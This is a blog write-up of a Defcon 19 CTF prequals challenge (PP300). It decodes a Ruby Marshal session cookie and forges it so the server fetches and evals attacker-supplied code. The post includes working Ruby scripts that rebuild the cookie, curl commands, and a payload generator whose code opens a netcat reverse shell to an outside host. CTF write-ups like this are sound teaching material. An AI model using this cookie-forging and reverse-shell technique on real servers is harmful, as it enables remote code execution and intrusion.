07
Jun
2011

Defcon 19 CTF Prequals – PP300

The challenge

Pwtent Pwnables 300 was a webpage containing three images, a YouTube movie and a clock countdown implemented in Javascript. We were able to pull some weird strings from the images like ‘is reddit netsec uber enough to play a game’ and something like a hash. We thought it would have something to do with the reddit netsec website but at this point we got stuck.

After closer inspecting the HTTP packets we noticed the server was running Ruby on WEBrick and a Set-Cookie header was set.
Requesting the index page gave us the following Cookie:

BAh7CSIlZU5wajRZam1VVEpUSUJiRTYraXE2cXZXY0NsWkVLdGMiAYhlTnBq
NFlqbVVUSlRJQmJFNitpcTZxdldjQ2xaRUt0Y0hVVEg2T3VyeGhDakNhWUJy
RWxWdjBhVnNDWjlJTlFFNndWcTFnWHlpYkVwSmo1ZUgyU1hxb2FxZ29LMWdv
S3FKdEFtWW9OQk5VWlZCMHh4S1prUUhYTHF1cnFxNmx3QWRoODBBZz09IiVl
TnFWbEQxdXd6QU1oWmNPUlE1UkVGbHFGMUE0QnVqUSIC8AFlTnFWbEQxdXd6
QU1oWmNPUlE1UkVGbHFGMUE0QnVqUUpjY29BZHFENGRGRE1tUWdmUFpLbEtp
ZjJFRVJEN1lsOFluaysyUy92ZjkrSE05Zk1NTUNJOXpnQ2hQYzRkL3g0WGll
NGJWcjlwb0ZVTitwV1dsR1dNOHNYak5LR3NnemtUU1AwV3R1Rmp1Y0dwRnMz
cjcxZnZPYTZ3QzdpZktJMmtLdVhqUGxNaVIxcGcwUWhXbm5tSUdvVGpSNXpU
M1hUa0hDenExcnliWUdsYVFJVFhRL0JENUZ4RzdkczNkMVRGbVQrUkMzWnZI
SnBldkVlbWxUVXZoVTRSUWpFSUhCUC8yOTQ0NzVKNjVMNWxNQjhXNWZRbXdQ
RU1WUm9pSkpiSldQZVVXNmoycTRSOXRJSmFwaExIek1YdFNhTHhyVEZ5UmRs
S2ovaFk5WjBvWG1rOFlhODdHK042ek9aT0pqN1ZHb0lEaElTUkx0NkppeDVE
VStrS2lSMVRVRW0vVWNmRDRlcU14SE1xS0loOWxRWVQyTlB0RDR0S2N6Rmkr
Mk1iV0pqTS9PaWNhQ2pabzE0eU4xRHR4OFBZM0krTWlqUk8xQTR1Ull0YWNr
UHZMWVM0N2JmdmVTK01qVEwzcEhFL204K24vN0ErYksrK0k9IiVtaDdjSiVo
OTlMUG4xelNvaDQsNDIhNmUzdDc4Q3ddaSIyZU5wajRWQ1N5U2dwS2JEUzF6
YzBNdGN6QUVKREsxTWpDd05EZlFCUi9RWEIKIiVlTnFGME0wS3dqQU1BT0NM
QjluWkJ3alpwQjFzeTkydCICBAFlTnFGME0wS3dqQU1BT0NMQjluWkJ3alpw
QjFzeTkydDBLTlA0TVZLNmhQc0JmTHdwdG9PTjVpbXRCVHk5U2M1SE84bmJH
QTNtTWhXZU43TnozUFErQ1VtSHY0SUNNeUVQd1VSeDJFUm5SOTl0d1lpQk8y
amlGR0JoZURIWlhTc2dFQ0tvQ2RFSDFoeTJuS0t3Y0FpS0MydHYyUkE3MTB0
aUZoRTdIczBzVHp3dVNrNkYvUlk5ZDNTUkVLZVBxYXZwa2VhOWU5QlVoOENX
R0FXdWNxbUd4bFFxaUU0aDdWeEc2RXBtNEZ5NWh0djd6QUd0VDVkdE5KcFN2
VzIxUXRTcVY1dg==

Looks like a base64 encoded string πŸ™‚
Decoding the string yielded binary data, so we thought maybe this could be some kind of a serialized object.
As we knew the server was running Ruby, we looked for built-in serialization methods. We found the Marshal class.

We wrote a small ruby script to see whether this would work:

file = IO.read("./decoded_cookie.bin")
p Marshal.load(file)

Voila, we got an associative array:

{
    "mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i"=>"eNpj4VCSySgpKbDS1zc0MtczAEJDK1MjCwNDfQBR/QXB\n",
    "eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtc"=>"eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtcHUTH6OurxhCjCaYBrElVv0aVsCZ9INQE6wVq1gXyibEpJj5eH2SXqoaqgoK1goKqJtAmYoNBNUZVB0xxKZkQHXLqurqq6lwAdh80Ag==",
    "eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t"=>"eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t0KNP4MVK6hPsBfLwptoON5imtBTy9Sc5HO8nbGA3mMhWeN7Nz3PQ+CUmHv4ICMyEPwURx2ERnR99twYiBO2jiFGBheDHZXSsgECKoCdEH1hy2nKKwcAiKC2tv2RA710tiFhE7Hs0sTzwuSk6F/RY9d3SREKePqavpkea9e9BUh8CWGAWucqmGxlQqiE4h7VxG6Epm4Fy5htv7zAGtT5dtNJpSvW21QtSqV5v",
    "eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQ"=>"eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQJccoAdqD4dFDMmQgfPZKlKif2EERD7Yl8Ynk+2S/vf9+HM9fMMMCI9zgChPc4d/x4Xie4bVr9poFUN+pWWlGWM8sXjNKGsgzkTSP0WtuFjucGpFs3r71fvOa6wC7ifKI2kKuXjPlMiR1pg0QhWnnmIGoTjR5zT3XTkHCzq1rybYGlaQITXQ/BD5FxG7ds3d1TFmT+RC3ZvHJpevEemlTUvhU4RQjEIHBP/294475J65L5lMB8W5fQmwPEMVRoiJJbJWPeUW6j2q4R9tIJaphLHzMXtSaLxrTFyRdlKj/hY9Z0oXmk8Ya87G+N6zOZOJj7VGoIDhISRLt6Jix5DU+kKiR1TUEm/UcfD4eqMxHMqKIh9lQYT2NPtD4tKczFi+2MbWJjM/OicaCjZo14yN1Dtx8PY3I+MijRO1A4uRYtackPvLYS47bfveS+MjTL3pHE/m8+n/7A+bK++I="
}

More base64 encoded strings. Decoding the values returned some more binary data, and now we had to find out what to do next. After trying to load the data using Marshal.load again, it didn’t seem to work.

After some trial and error we found that the values were gzip compressed. By uncompressing the base64 decoded values from the array, we were now able to Marshal.load the data. Three values revealed some `nice` ASCII art πŸ™‚ One however, was a URL: http://127.0.0.1:????.

Where could the server possible be using this URL for? Maybe some kind of caching daemon? Or would it just pull some data of it? What if we would just try to reassemble the cookie, but with a different URL, pointing to one of our own webservers?

Reassembling the cookie

We created the following script to reassemble the cookie with a different URL:

require 'base64'
require 'zlib'

url = "http://127.0.0.1:52801/"

# Load original cookie
content = IO.read("cookie.txt")
list = Marshal::load(Base64.decode64(content))

# Create new list
url = Base64.encode64(Zlib::Deflate.deflate(url,9))
leet = {
  "mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i" => "\004\b\"\034" + url,
  "eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtc" => list["eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtc"],
  "eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t" => list["eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t"],
  "eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQ" => list["eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQ"]
}

# Write new cookie
cookie = Base64.encode64(Marshal.dump(leet))
File.open('cookie-leet.txt', 'w') { |f|
    f.write(cookie)
}

Starting the attack

By requesting the webpage using cURL and our customized cookie we were hoping to see something happen.

curl -vvv -b "rack.session=`cat cookie-leet.txt`; path=/" http://pwn508.ddtek.biz:52719/

Analyzing all traffic to our HTTPd, we noticed a GET request to the URL we injected in the cookie!
Even more, the html response we got from curl wasn’t the normal webpage anymore, we got a nice Exception page from with a complete stacktrace included. This showed us some of the server side code and revealed code similar to this:

response = HTTPClient::get_content(nurl).chomp
mcode = Zlib::Inflate.inflate(Base64.decode64(response))
bp = eval(mcode)

Things begin to fall into place.. We are able to run ruby code!

Now the only thing we had to do is serving a file and making sure the response is properly processed and executed by eval.
By looking at the code we could create a string with ruby code, deflate with zlib and base64 decode it. This would be enough to get to the point where eval executes our custom ruby code.

Finalizing the attack

We created another Ruby script to create it:

require 'base64'
require 'zlib'

# Connectback shell
value = "IO.popen(\"/bin/sh -c 'nc -e /bin/sh xxx.xx.xxx.xxx 7867'\")"

# Prepare file
print Base64.encode64(Zlib::Deflate.deflate(value))

Placing this in our webroot and executing the cURL request popped a shell on our listener:

# ./create.rb > /var/www/index.html
# curl -vvv -b "rack.session=`cat cookie-leet.txt`; path=/" http://pwn508.ddtek.biz:52719/
# nc -vvv -l -p 4443
cat key
ISBN-13: 978-1931993494

Comments are closed.